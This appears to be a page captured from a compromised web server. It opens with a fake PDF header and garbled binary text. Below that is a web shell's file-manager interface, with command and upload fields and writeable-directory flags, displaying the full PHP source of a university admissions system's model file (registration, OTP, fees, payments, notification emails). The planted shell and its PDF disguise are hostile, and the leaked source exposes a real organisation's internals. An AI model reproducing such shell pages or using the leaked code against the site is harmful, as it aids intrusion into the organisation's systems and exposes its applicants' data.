%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/api/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/models/Common_model.php
<?php 
class Common_model extends CI_Model {
	function save($data, $tbl="", $pKey="id"){
		$id=$this->db->escape_str($data[$pKey]);
		unset($data[$pKey]);
        if($id){
            $data['updated']=currentDT();
			//$data['updated_by']=USER_ID;
			$this->dba->update($tbl, $data, "$pKey='$id'");
            if(!$this->db->affected_rows()){
				return;
			}
        }else{
            $data['created']=$data['updated']=currentDT();
			//$data['created_by']=USER_ID;
			//$data['updated_by']=USER_ID;
            $id=$this->dba->insert($tbl, $data);
        }
        return $id;
    }

    function applicationNdUsrInfo($appId){
        $dtl=$this->db->select("A.applicant_id, A.application_no, A.step_completed, A.created, A.pay_trans_id, A.payment_status, A.payment_mode, P.type_id, P.type_id prg_type_id, P.discipline_id, P.id AS program_id, A.plan_id, PP.title AS plan, P.title AS program, P.image AS progImage, S.brochure AS progBrochure, PP.fee AS planAppFee, P.fee AS prgAppFee")
        ->from("applications AS A")
        ->join("master_program_plans AS PP", "A.plan_id=PP.id")
        ->join("master_programs AS P", "PP.program_id=P.id")
        ->join("master_schools AS S", "S.id=P.school_id")
        ->where(array('A.id'=>$appId))
        ->get()->row_array();

        if((float)$dtl['planAppFee']){
            $dtl['fee']=(float)$dtl['planAppFee'];
        }else{
            $dtl['fee']=(float)$dtl['prgAppFee'];
        }

        $udtl=$this->db->select("U.mob, U.gender, L.instant_fee, L.male_fee, L.female_fee, L.other_fee, L.title lpage")->from("applicants U")->join("landing_pages L", "L.id=U.lpage_id")->where(['U.id'=>$dtl['applicant_id']])->get()->row_array();
        $dtl['instant_fee']=(int)$udtl['instant_fee'];
        $dtl['male_fee']=(int)$udtl['male_fee'];
        $dtl['female_fee']=(int)$udtl['female_fee'];
        $dtl['other_fee']=(int)$udtl['other_fee'];

        if(!$this->common->isPhdOrMedical()){
            if($udtl['gender']==='Male' && $dtl['male_fee']>0){
                $dtl['fee']=$dtl['male_fee'];
            }
            if($udtl['gender']==='Female' && $dtl['female_fee']>0){
                $dtl['fee']=$dtl['female_fee'];
            }
            if($udtl['gender']==='Other' && $dtl['other_fee']>0){
                $dtl['fee']=$dtl['other_fee'];
            }
        }

        $dtl['progImageUrl']=$dtl['progImage']?UP_URLF.'programs_images/'.$dtl['progImage']:'';
        $dtl['progBrochureUrl']=$dtl['progBrochure']?UP_URLF.'brochure/'.$dtl['progBrochure']:'';
        $dtl['progBrochureDwnUrl']=$dtl['progBrochure']?(URL.'common/downloadFile/'.encode(UP_PATHF.'brochure/'.$dtl['progBrochure'])):'';
        
        $dtl['usr']=$this->db->select("lpage_id, name, email, mob, dob, address, city, pincode, state_id, utm_source_id")->get_where("applicants", array('id'=>$dtl['applicant_id']))->row_array();
        $dtl['usr']['state']=$this->db->select("title")->get_where("master_states", array('id'=>$dtl['usr']['state_id']))->row()->title;
        $dtl['trans']=$this->db->get_where("pay_trans", array('id'=>$dtl['pay_trans_id']))->row_array();
        
        if($dtl['payment_mode']=='CASH'){
            $dtl['trans']=$this->db->select("amount txn_amt, 'CASH' bank_name, 'SUCCESS' txn_status, 'N/A' txn_id, created txn_date", false)->get_where("cash_collections", array('application_id'=>$dtl['id']))->row_array();
            if($dtl['trans']){
                $dtl['trans']['txn_date']=date('d-m-Y h:i s A', strtotime($dtl['trans']['txn_date']));
            }
        }else{
            $dtl['trans']=$this->db->get_where("pay_trans", array('id'=>$dtl['pay_trans_id']))->row_array();
            if($dtl['trans']){
                $dtl['trans']['txn_date']=date('d-m-Y h:i s A', strtotime($dtl['trans']['txn_date']));
                $dtl['trans']['full_resp']=unserialize($dtl['trans']['full_resp']);
            }
        }

        $dtl['programType']=$this->db->select("title")->get_where("master_program_types", array('id'=>$dtl['type_id']))->row()->title;
        $dtl['lpage']=rtrim($this->db->select("title")->get_where("landing_pages", array('id'=>$dtl['usr']['lpage_id']))->row()->title, "/");
        $dtl['utmSource']=$this->db->select("title")->get_where("master_utm_sources", array('id'=>$dtl['usr']['utm_source_id']))->row()->title;
        $dtl['loginUrl']=generate_login_url($dtl['lpage'], $dtl['usr']['mob']); //$dtl['lpage'].'/dashboard/login';
        $dtl['receiptDownloadUrl']=URL.'common/downloadReceipt/'.$appId;
        $dtl['SuatSlotBookUrl']=SUAT_SLOT_BOOK_URL;

        return $dtl;
    }

    function sendLoginOtp($mob, $email=''){
        $otp=generate_otp();
       /* $msg="Your OTP is $otp. Please login to your application dashboard at Sharda University using this code. Call us at +998-90527-1234 for any queries.";
        $msg="Your OTP is $otp. Please use this code to initiate your application for Sharda University. Call us at +998-90527-1234 for any queries.";
        send_sms($mob, $msg);
        if($email){
            send_email($email, "Sharda University - One Time Password (OTP)", $msg);
        }*/
        return $otp;
    }
    function sendLoginUZOtp($email=''){
		$otp=generate_otp();
		$msg="Your OTP is $otp. Please login to your application dashboard at Sharda University Uzbekistan using this code. Call us at +998-90527-1234 for any queries.";
		$msg="Your OTP is $otp. Please use this code to initiate your application for Sharda University Uzbekistan. Call us at +998-90527-1234 for any queries.";
		//  send_sms($mob, $msg);
		if($email){
            send_email($email, "Sharda University UZ - One Time Password (OTP)", $msg);
        }
        return $otp;
    }

    function sendRegsOtp($email=''){
        $emailOtp='';
        if($email){
            $emailOtp=generate_otp();
            $msg="Your OTP is $emailOtp. Please use this code to initiate your application for Sharda University Uzbekistan. Call us at +998-90527-1234 for any queries.";
            send_email($email, "Sharda University UZ - One Time Password (OTP)", $msg);
        }
        return array('emailOtp'=>$emailOtp);
    }
    function sendRegOtp($mob, $email=''){
        $otp=generate_otp();
        $msg="Your OTP is $otp. Please use this code to initiate your application for Sharda University Uzbekistan. Call us at +998-90527-1234 for any queries.";
        send_sms($mob, $msg);
        $emailOtp='';
        if($email){
            $emailOtp=generate_otp();
            $msg="Your OTP is $emailOtp. Please use this code to initiate your application for Sharda University Uzbekistan. Call us at +998-90527-1234 for any queries.";
            send_email($email, "Sharda University UZ- One Time Password (OTP)", $msg);
        }
        return array('otp'=>$otp, 'emailOtp'=>$emailOtp);
    }

    function sendSystemIdGenMsg($appId){
        $dtl=$this->applicationNdUsrInfo($appId);

        $usrName=strtoupper($dtl['usr']['name']);
        $systemId=$dtl['application_no'];
        if(strtolower($dtl['programType'])=='suat'){
            //$sms="Dear $usrName, Thank you for applying at Sharda University. Your System ID is - $systemId. Login at {$dtl['loginUrl']} to complete your SUAT-2020 application. Call us at 0120-4570000 for any queries.";
			$sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University Uzbekistan. Your System ID is - $systemId. We are processing your application at the moment. Our Admission Counsellors will get back to you within 24 hours and guide you about further process.Call us at 0120-4570000 for any queries.";
        }else{
            $sms="Dear $usrName, Thank you for applying at Sharda University Uzbekistan. Your System ID is - $systemId. Login at {$dtl['loginUrl']} to complete your application. Call us at +998-90527-1234 for any queries.";
        }
        $emailSub="Dear $usrName, Your System ID $systemId is Generated !!!";
        $emailMsg=$this->load->view("email/system_id_gen", $dtl, TRUE);

        send_sms($dtl['usr']['mob'], $sms);
        send_email($dtl['usr']['email'], $emailSub, $emailMsg);
    }
    
    function sendPaymentConfirmMsg($appId){
        $dtl=$this->applicationNdUsrInfo($appId);

        $usrName=strtoupper($dtl['usr']['name']);
        $systemId=$dtl['application_no'];
        if(strtolower($dtl['programType'])=='suat'){
             //$sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']}. Your System ID is - $systemId. We are processing your application, once you will receive your application number, login at {$dtl['SuatSlotBookUrl']} to book your slot for SUAT-2020. Call us at 0120-4570000 for any queries.";
			$sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University Uzbekistan. Your System ID is - $systemId. We are processing your application at the moment. Our Admission Counsellors will get back to you within 24 hours and guide you about further process.Call us at +998-90527-1234 for any queries.";
        }else{
            $sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University Uzbekistan. Your System ID is - $systemId. We are processing your application at the moment. In the wake of Covid-19 Sharda University has shifted its admission procedure online. Our Admission Counsellors will get back to you within 24 hours and guide you about further process.Call us at +998-90527-1234 for any queries. Stay Safe & Strong.";
        }
        $emailSub="Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University Uzbekistan";
        $emailMsg=$this->load->view("email/payment_confirm", $dtl, TRUE);

        send_sms($dtl['usr']['mob'], $sms);
        send_email($dtl['usr']['email'], $emailSub, $emailMsg);
    }

    function sendPaymentConfirmMsgStep1($appId){
        $dtl=$this->applicationNdUsrInfo($appId);

        $usrName=strtoupper($dtl['usr']['name']);
        $systemId=$dtl['application_no'];
        /* if(strtolower($dtl['programType'])=='suat'){
            $sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']}. Your System ID is - $systemId. We are processing your application, once you will receive your application number, login at {$dtl['SuatSlotBookUrl']} to book your slot for SUAT-2020. Call us at 0120-4570011 for any queries.";
        }else{
            $sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']}. Your System ID is - $systemId. We are processing your application, once you will receive your application number, login at {$dtl['loginUrl']} to Schedule a visit. Call us at 0120-4570011 for any queries.";
        } */
        $sms="Dear $usrName, We have received your payment for {$dtl['plan']} Application. Complete your additional information for the final submission of your application. Call us at 0120-4570000 for any queries.";

        $emailSub="Congratulations! Your payment has been received Successfully. Complete Your Application Now! ";
        $emailMsg=$this->load->view("email/payment_confirm_step1", $dtl, TRUE);

        send_sms($dtl['usr']['mob'], $sms);
        send_email($dtl['usr']['email'], $emailSub, $emailMsg);
    }

    function sendStep2CompletedMsgForStep1($appId){
        $dtl=$this->applicationNdUsrInfo($appId);

        $usrName=strtoupper($dtl['usr']['name']);
        $systemId=$dtl['application_no'];
        if(strtolower($dtl['programType'])=='suat'){
            //$sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']}. Your System ID is - $systemId. We are processing your application, once you will receive your application number, login at {$dtl['SuatSlotBookUrl']} to book your slot for SUAT-2020. Call us at 0120-4570000 for any queries.";
			$sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University Uzbekistan. Your System ID is - $systemId. We are processing your application at the moment. Our Admission Counsellors will get back to you within 24 hours and guide you about further process.Call us at +998-90527-1234 for any queries.";
        }else{
            $sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University Uzbekistan. Your System ID is - $systemId. We are processing your application at the moment. In the wake of Covid-19 Sharda University has shifted its admission procedure online. Our Admission Counsellors will get back to you within 24 hours and guide you about further process.Call us at +998-90527-1234 for any queries. Stay Safe & Strong.";
        } 

        /*$sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University. Your System ID is - $systemId. We are processing your application at the moment. In the wake of Covid-19 Sharda University has shifted its admission procedure online. Our Admission Counsellors will get back to you within 24 hours and guide you about further process.Call us at 0120-4570000 for any queries. Stay Safe & Strong.";*/

        $emailSub="Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University Uzbekistan";
        $emailMsg=$this->load->view("email/step2_completed_for_step1", $dtl, TRUE);

        send_sms($dtl['usr']['mob'], $sms);
        send_email($dtl['usr']['email'], $emailSub, $emailMsg);
    }

    function sendPaymentAlertToAdmin($appId){
        $emails=$this->db->select("email")->get_where("master_admin_emails", array('send_payment_alert'=>1))->result_array();
        if($emails){
            $emails=key_val_array($emails, '', 'email');
            $emails=implode(",", $emails);
        
            $dtl=$this->applicationNdUsrInfo($appId);
            $emailMsg=$this->load->view("email/payment_alert_admin", $dtl, TRUE);
            $sub=$dtl['payment_status']?"Payment Alert: SUCCESS":"Payment Alert: FAIL";
            send_email($emails, $sub, $emailMsg);
        }
    }

    function sendIssueGeneratedEmail($id){
        $emails=$this->db->select("email")->get_where("master_admin_emails", array('send_issue_alert'=>1))->result_array();
        if($emails){
            $emails=key_val_array($emails, '', 'email');
            $emails=implode(",", $emails);
            
            $rs=$this->db->select("applicant_id, cat, issue, description")->get_where("issues_reported", array('id'=>$id))->row_array();
            $udtl=$this->db->select("name,email,mob")->get_where("applicants", array('id'=>$rs['applicant_id']))->row_array();
            
            $msg="From: {$udtl['name']} - {$udtl['email']} - {$udtl['mob']} <br><br> Issue: [{$rs['cat']}] {$rs['issue']} <br><br> Description: <br><br>";
            $msg.=$rs['description'];
            send_email($emails, "New Issue Generated", $msg);
        }
    }

    function sendIssueCommentEmail($id, $comment){
        $emails=$this->db->select("email")->get_where("master_admin_emails", array('send_issue_alert'=>1))->result_array();
        if($emails){
            $emails=key_val_array($emails, '', 'email');
            $emails=implode(",", $emails);

            $rs=$this->db->select("applicant_id, cat, issue")->get_where("issues_reported", array('id'=>$id))->row_array();
            $udtl=$this->db->select("name,email,mob")->get_where("applicants", array('id'=>$rs['applicant_id']))->row_array();
            
            $msg="From: {$udtl['name']} - {$udtl['email']} - {$udtl['mob']} <br><br> Issue: [{$rs['cat']}] {$rs['issue']} <br><br> Comment: <br><br>";
            $msg.=$comment;
            send_email($emails, "Comment on Issue", $msg);
        }
    }

    function sendScheduleVisitEmail($id){
        $emails=$this->db->select("email")->get_where("master_admin_emails", array('send_appointment_alert'=>1))->result_array();
        if($emails){
            $emails=key_val_array($emails, '', 'email');
            $emails=implode(",", $emails);
            
            $rs=$this->db->get_where("scheduled_visits", array('id'=>$id))->row_array();
            $appoint_date=get_date($rs['appoint_date']);
            $center=$this->db->select("center")->get_where("master_appoint_venues", array('id'=>$rs['venue_id']))->row()->center;
            $udtl=$this->db->select("name,email,mob")->get_where("applicants", array('id'=>$rs['applicant_id']))->row_array();
            
            $msg="From: {$udtl['name']} - {$udtl['email']} - {$udtl['mob']} <br>";
            $msg.="Center: $center <br>Appointment Date: $appoint_date";
            send_email($emails, "New Visit Is Scheduled", $msg);
        }
    }

    function sendCampusVisitEmail($id){
        $emails=$this->db->select("email")->get_where("master_admin_emails", array('send_appointment_alert'=>1))->result_array();
        if($emails){
            $emails=key_val_array($emails, '', 'email');
            $emails=implode(",", $emails);
            
            $rs=$this->db->get_where("campus_visits", array('id'=>$id))->row_array();
            $visit_datetime=get_date($rs['visit_datetime'], TRUE);
            $udtl=$this->db->select("name,email,mob")->get_where("applicants", array('id'=>$rs['applicant_id']))->row_array();
            
            $msg="From: {$udtl['name']} - {$udtl['email']} - {$udtl['mob']} <br>";
            $msg.="Campus Visit Date: $visit_datetime";
            send_email($emails, "New Campus Visit Is Scheduled", $msg);
        }
    }

    function applicantCats(){
		return $this->db->select("id, title")->from("master_applicat_cats")->where("status", 1)->order_by("disp_odr")->get()->result_array();
    }
    function religions(){
		return $this->db->select("id, title")->from("master_applicat_religions")->where("status", 1)->order_by("disp_odr")->get()->result_array();
    }
    function boards(){
		return $this->db->select("id, title")->from("master_edu_boards")->where("status", 1)->order_by("title")->get()->result_array();
    }
    function universities(){
		return $this->db->select("id, title")->from("master_universities")->where("status", 1)->order_by("title")->get()->result_array();
    }
    function markingSchemes(){
        $res = $this->db->select("id, title,allowed_data")->from("master_marking_schemes")->where("status", 1)->order_by("disp_odr")->get()->result_array();
        foreach($res as $k=>$v){
            $v['allowed_data']=trim($v['allowed_data']); 
            $res[$k]['allowed_values'] = explode(',',$v['allowed_data']);
        }
        return $res;
    }
    
    function all_campus(){
        return $this->db->select("id,title")->where("status", 1)->get("master_campus")->result_array();
    }

    function states(){
        return $this->db->select("id, title")->order_by("title")->get_where("master_states", array('status'=>1))->result_array();
    }
    function countrys(){
        return $this->db->select("id, title,code, isd_code")->order_by("title", "DESC")->get_where("master_countrys", array('status'=>1))->result_array();
    }
    function academicCareersMaster(){
        return $this->db->select("id, title")->order_by("title")->get_where("master_academic_careers", array('status'=>1))->result_array();
    }

    function referredByList(){
        return $this->db->select("id, title")->order_by("title")->get_where("master_referred_by", array('status'=>1))->result_array();
    }

    function academicCareers($lpage=''){
        if($lpage){
            $lpage_id=$this->db->get_where("landing_pages", array('trimed_title'=>$lpage))->row()->id;
            $cond=array('P.status'=>1, 'LP.lpage_id'=>$lpage_id);
            $rs=$this->db->select("DISTINCT P.ac_id", false)
               ->from("master_programs AS P")->join("landing_page_programs AS LP", "LP.program_id=P.id")
               ->where($cond)->get()->result_array();

            if($rs){
                $acids=[];
                foreach($rs as &$r){
                    $acids[]=$r['ac_id'];
                }
                return $this->db->select("id, title")->order_by("disp_odr")->from("master_academic_careers")->where("status", 1)->where_in("id", $acids)->get()->result_array();
            }
            return [];
        }
        return $this->db->select("id, title")->order_by("disp_odr")->get_where("master_academic_careers", array('status'=>1))->result_array();
    }

    function lpage_faqs($lpage=''){
        $lpage_id=$this->db->get_where("landing_pages", array('trimed_title'=>$lpage))->row()->id;
        $this->db->where("LF.lpage_id", $lpage_id);
        return $this->db->select("F.id, F.question, F.ans")->order_by("F.disp_odr")
               ->from("master_faq F")
               ->join("landing_page_faqs LF", "LF.faq_id=F.id")
               ->where(array('F.status'=>1))
               ->get()->result_array();
    }

    function courses($lpage=''){
        $cond=array('P.status'=>1);
        if($lpage){
            $lpage_id=$this->db->get_where("landing_pages", array('trimed_title'=>$lpage))->row()->id;
            $cond['LP.lpage_id']=$lpage_id;
        }

        $f="P.id, P.ac_id, P.discipline_id, P.school_id, P.title, P.eligibility, P.highlights, P.scholarship, P.career_path, P.program_fee_dtl, P.financial_assistance, 
            P.adm_through, SCH.title school, SCH.established_in, SCH.subtitle school_subtitle, AC.title ac,
            PP.program_duration, GROUP_CONCAT(PP.campus_ids) campus_ids";
        $rs=$this->db->select($f, false)
            ->from("master_programs P")
            ->join("master_program_plans PP", "PP.program_id=P.id AND PP.status=1")
            ->join("master_schools SCH", "P.school_id=SCH.id")
            ->join("master_academic_careers AC", "P.ac_id=AC.id")
            ->join("landing_page_programs AS LP", "LP.program_id=P.id", "LEFT")
            ->where($cond)
            ->group_by("P.id")
            ->group_by("P.id")->order_by("title")->get()->result_array();
        
        foreach($rs as &$r){
            $b=explode(",", $r['campus_ids']);
            $cids=array_unique($b);
            $r['campus_ids']=array_values($cids);
        }

        //pr($this->db->last_query()); die;

        return $rs;
    }

    function schoolAccreditations(){
		$rs=$this->db->get_where("school_accreditations", ['status'=>1])->result_array();
		if($rs){
			foreach($rs as &$r){
				$r['image_url']=$r['image']?(UP_URLF.'schools/'.$r['image']):'';
			}
		}else{
			$rs=[];
		}
		return $rs;
	}

    function schoolDeanMessages(){
		$rs=$this->db->get_where("school_dean_messages", ['status'=>1])->result_array();
		if($rs){
			foreach($rs as &$r){
				$r['image_url']=$r['image']?(UP_URLF.'schools/'.$r['image']):'';
			}
		}else{
			$rs=[];
		}
		return $rs;
	}

    function acDtl($ac_id){
        $dtl=$this->db->select("title, req_10th, req_12th, req_ug, req_pg")->get_where("master_academic_careers", array('id'=>$ac_id))->row_array();
        if($dtl){
            $dtl['req_10th']=(int)$dtl['req_10th'];
            $dtl['req_12th']=(int)$dtl['req_12th'];
            $dtl['req_ug']=(int)$dtl['req_ug'];
            $dtl['req_pg']=(int)$dtl['req_pg'];
        }
        return $dtl;
    }

    function cities($state_id=0){
        $cond=array('status'=>1);
        if($state_id){
            $cond['state_id']=$state_id;
        }
        return $this->db->select("id, state_id, title, pincode")->order_by("title")->get_where("master_cities", $cond)->result_array();
    }

    function disciplines($lpage='', $nonPhdOnly=false){
        if($lpage){
            $lpage_id=$this->db->get_where("landing_pages", array('trimed_title'=>$lpage))->row()->id;
            $res=$this->db->select("program_id")->get_where("landing_page_programs", ['lpage_id'=>$lpage_id])->result_array();
            $proids=[0];
            foreach($res as $p){
                $proids[]=$p['program_id'];
            }

            $res=$this->db->select("DISTINCT discipline_id", false)->from("master_programs")->where("status", 1)->where_in("id", $proids)->get()->result_array();
            $dids=[0];
            foreach($res as $p){
                $dids[]=$p['discipline_id'];
            }

            $this->db->where_in('d.id', $dids);
        }

        if($nonPhdOnly){
            $this->db->where("p.is_phd", 0);
        }
        $rs=$this->db->select("d.id, d.title")
            ->from("master_disciplines d")
            ->join("master_programs p", "p.discipline_id=d.id")
            ->where("d.status", 1)
            ->group_by("d.id")
            ->order_by("d.disp_odr")
            ->get()->result_array();

        foreach($rs as &$r){
            $res=$this->db->select("DISTINCT a.campus_ids", false)->from("master_program_plans a")->join("master_programs b", "a.program_id=b.id and b.status=1")->where("b.discipline_id", $r['id'])->where("a.status",1)->get()->result_array();
            $cids=[];
            foreach($res as $a){
                $b=explode(",", $a['campus_ids']);
                foreach($b as $c){
                    $cids[]=$c;
                }
            }
            $cids=array_unique($cids);
            $r['campus_ids']=array_values($cids);
        }
        return $rs;
    }

    function programs($ac_id=0, $lpage='', $is_medical='', $is_phd=''){
        $cond=array('P.status'=>1);
        if($ac_id){
            $cond['P.ac_id']=$ac_id;
        }
        if($lpage){
            $lpage_id=$this->db->get_where("landing_pages", array('trimed_title'=>$lpage))->row()->id;
            $cond['LP.lpage_id']=$lpage_id;
        }

        if(strlen($is_medical)){
            $this->db->where("P.is_medical", $is_medical);
        }
        if($is_phd){
            $this->db->where("P.is_phd", $is_phd);
        }

        $rs=$this->db->select("P.id, P.title, GROUP_CONCAT(PP.campus_ids) campus_ids", false)
            ->from("master_programs P")
            ->join("master_program_plans PP", "PP.program_id=P.id AND PP.status=1")
            ->join("landing_page_programs LP", "LP.program_id=P.id", "LEFT")
            ->where($cond)
            ->group_by("P.id")
            ->group_by("P.id")->order_by("title")->get()->result_array();
        
        foreach($rs as &$r){
            $b=explode(",", $r['campus_ids']);
            $cids=array_unique($b);
            $r['campus_ids']=array_values($cids);
        }
    }

    function plans($programId=0, $lpage='', $nonPhdOnly=false){
        $cond=array('PP.status'=>1);
        if($programId){
            $cond['PP.program_id']=$programId;
        }else{
            if($lpage){
                $lpage_id=$this->db->get_where("landing_pages", array('trimed_title'=>$lpage))->row()->id;
                $res=$this->db->select("program_id")->get_where("landing_page_programs", ['lpage_id'=>$lpage_id])->result_array();
                $proids=[0];
                foreach($res as $p){
                    $proids[]=$p['program_id'];
                }
                $this->db->where_in('PP.program_id', $proids);
            }
        }

        if($nonPhdOnly){
            $this->db->where("P.is_phd", 0);
        }
		$rs=$this->db->select("PP.id, PP.program_id, PP.title, PP.code, PP.campus_ids, P.discipline_id, P.ac_id")
            ->from("master_program_plans PP")
            ->join("master_programs P", "P.id=PP.program_id")
			->where($cond)
			->order_by("PP.title")->get()->result_array();

        foreach($rs as &$r){
            $r['campus_ids']=explode(",", $r['campus_ids']);
        }
        return $rs;
    }

    function tmp_register($post){
        $this->db->where('mob', $post['mob'])->or_where('email', $post['email'])->delete("tmp_applicants");
        return $this->common->save(replace_null($post), "tmp_applicants");
    }

    function add_multi_registration_tried($data){
        $this->db->insert("multi_registration_tried", $data);
    }
    
    function register($post){
		$err = FALSE;
		$this->db->trans_strict(FALSE);
        $this->db->trans_begin();
		
		try{
            if($post['utm_source']){
                $post['utm_source_id']=$this->db->get_where("master_utm_sources", array('title'=>$post['utm_source']))->row()->id;
                if(!$post['utm_source_id']){
                    $post['utm_source_id']=$this->save(array('title'=>$post['utm_source'], 'status'=>1), "master_utm_sources");
                }
            }
            $id=$this->common->save(replace_null($post), "applicants");
            //$num=$this->getCounter('system_id_count');
            //$this->db->update("applicants", array('system_id'=>date('Y').zero_format_no($num)), array('id'=>$id));
            $d=array(
                    'applicant_id'=>$id, 
                    'campus_id'=>$post['campus_id'],
                    'ac_id'=>$post['ac_id'], 
                    'program_id'=>$post['program_id'], 
                    'plan_id'=>$post['plan_id'],
                    'discipline_id'=>$post['discipline_id'],
                    'school_id'=>$post['school_id'],
                    'step_completed'=>1,
                );
            $appid=$this->common->save($d, "applications");
            
            /* if($this->isPhd($id)){
                $num=$this->getCounter('phd_app_count');
            }else{
                $num=$this->getCounter('application_no_count');
            } */
            $num=$this->getCounter('application_no_count');
            $appNo=zero_format_no($num);
            $this->db->update("applications", array('application_no'=>$appNo), array('id'=>$appid));

            /* if($this->isPhd($id)){
                $phd=[
                    'app_id'=>$appid,
                ];
            } */

            /** Visit History */
            $post['applicant_id']=$id;
            $post['lpage']=rtrim($this->db->get_where("landing_pages", array('id'=>$post['lpage_id']))->row()->title, "/");
            $this->common->save(replace_null($post), "applicants_visit_history");

            /** Delete from tmp_applicants if any */
            $this->db->where('mob', $post['mob'])->or_where('email', $post['email'])->delete("tmp_applicants");
            
		}catch(Exception $e) {
            $err = TRUE;
            $msg = $e->getMessage();
        }
		
		if($this->db->trans_status() === FALSE) {
            $err = TRUE;
        }
		
		if ($err) {
            $this->db->trans_rollback();
			return FALSE;
        } else {
            $this->db->trans_commit();
			return $appid;
        }
    }

    function isPhd($id=USER_ID, $app_id=0){
        if($app_id){
            $id=$this->db->select('applicant_id')->get_where("applications", ['id'=>$app_id])->row('applicant_id');
        }
        return (int)$this->db->select('is_phd')->get_where("applicants", ['id'=>$id])->row('is_phd');
    }

    function isMedical($id=USER_ID, $app_id=0){
        if($app_id){
            $id=$this->db->select('applicant_id')->get_where("applications", ['id'=>$app_id])->row('applicant_id');
        }
        return (int)$this->db->select('is_medical')->get_where("applicants", ['id'=>$id])->row('is_medical');
    }

    function isPhdOrMedical($id=USER_ID, $app_id=0){
        if($app_id){
            $id=$this->db->select('applicant_id')->get_where("applications", ['id'=>$app_id])->row('applicant_id');
        }
        $dtl=$this->db->select('is_phd, is_medical')->get_where("applicants", ['id'=>$id])->row_array();
        return $dtl['is_phd'] || $dtl['is_medical'];
    }

    function getCounter($type){
        while(1){
            $c=(int)$this->db->get_where("master_data", array('datakey'=>$type))->row()->datavalue;
            $this->db->update("master_data", array('datavalue'=>$c+1), array('datakey'=>$type));
            if(!$this->db->affected_rows()){
                continue;
            }
            break;
        }
        return $c;
    }
    
    /** GA Code */
    function getGACode(){
        $gacode_head=$this->db->get_where("master_data", array('datakey'=>'gacode_head'))->row()->datavalue;
        $gacode_body=$this->db->get_where("master_data", array('datakey'=>'gacode_body'))->row()->datavalue;
        $gacode_key=$this->db->get_where("master_data", array('datakey'=>'gacode_key'))->row()->datavalue;
        return array('head'=>$gacode_head, 'body'=>$gacode_body, 'key'=>$gacode_key);
    }

    /** */
    function applyBeforeDetail(){
        $rs=$this->db->select("datakey, datavalue")->from("master_data")->where_in("datakey", ['apply_before_image', 'apply_before_line1', 'apply_before_line2', 'apply_before_line3'])->get()->result_array();
        
        $dtl=[];
        foreach($rs as $r){
            switch($r['datakey']){
                case 'apply_before_image':
                    $dtl['apply_before_image']=$r['datavalue'];
                    $dtl['apply_before_image_url']=$r['datavalue']?(UP_URLF.'lpages/'.$r['datavalue']):'';
                break;

                case 'apply_before_line1':
                    $dtl['apply_before_line1']=$r['datavalue'];
                break;

                case 'apply_before_line2':
                    $dtl['apply_before_line2']=$r['datavalue'];
                break;

                case 'apply_before_line3':
                    $dtl['apply_before_line3']=$r['datavalue'];
                break;
            }
        }

        return $dtl;
    }

    /** */
    function appDataSetUserIds($app_id){
        $user_ids=[1];
        $f="application_no, applicant_id, school_id, program_id, plan_id";
        $adtl=$this->db->select($f)->get_where("applications", ['id'=>$app_id])->row_array();
        $udtl=$this->db->select("state_id, city_id")->get_where("applicants", ['id'=>$adtl['applicant_id']])->row_array();

        $users=$this->db->select("id, data_set_id")->get_where("users", ['reporting_type'=>'Counsellor', 'status'=>1])->result_array();
        foreach($users as $u){
            $ddtl=$this->db->select("states, programs, schools, cities, plans")->get_where("leads_data_sets", ['id'=>$u['data_set_id']])->row_array();
            $flg=1;
            if($ddtl['states']){
                $states=explode(",", $ddtl['states']);
                if(!in_array($udtl['state_id'], $states)){
                    $flg=0;
                }
                if($ddtl['cities']){
                    $ddtl['cities']=unserialize($ddtl['cities']);
                    $f=0;
                    foreach($states as $sid){
                        $cities=$ddtl['cities'][$sid];
                        if($cities){
                            if($udtl['state_id']==$sid && in_array($udtl['city_id'], $cities)){
                                $f=1;
                            }
                        }else if($udtl['state_id']==$sid){
                            $f=1;
                        }
                    }
                    if(!$f){
                        $flg=0;
                    }
                }
            }

            if($ddtl['programs']){
                $programs=explode(",", $ddtl['programs']);
                if(!in_array($adtl['program_id'], $programs)){
                    $flg=0;
                }
                if($ddtl['plans']){
                    $ddtl['plans']=unserialize($ddtl['plans']);
                    $f=0;
                    foreach($programs as $pid){
                        $plans=$ddtl['plans'][$pid];
                        if($plans){
                            if($adtl['program_id']==$pid && in_array($adtl['plan_id'], $plans)){
                                $f=1;
                            }
                        }else if($adtl['program_id']==$pid){
                            $f=1;
                        }
                    }
                    if(!$f){
                        $flg=0;
                    }
                }
            }

            if($ddtl['schools']){
                if(!in_array($adtl['school_id'], explode(",", $ddtl['schools']))){
                    $flg=0;
                }
            }

            if($flg){
                $user_ids[]=$u['id'];
            }
        }

        return $user_ids;
    }

    function addLeadNotification($type, $app_id=0){
        switch($type){
            case 'Payment_Made':
                return $this->addPaymentMadeNoti($type, $app_id);
            break;
        }
    }

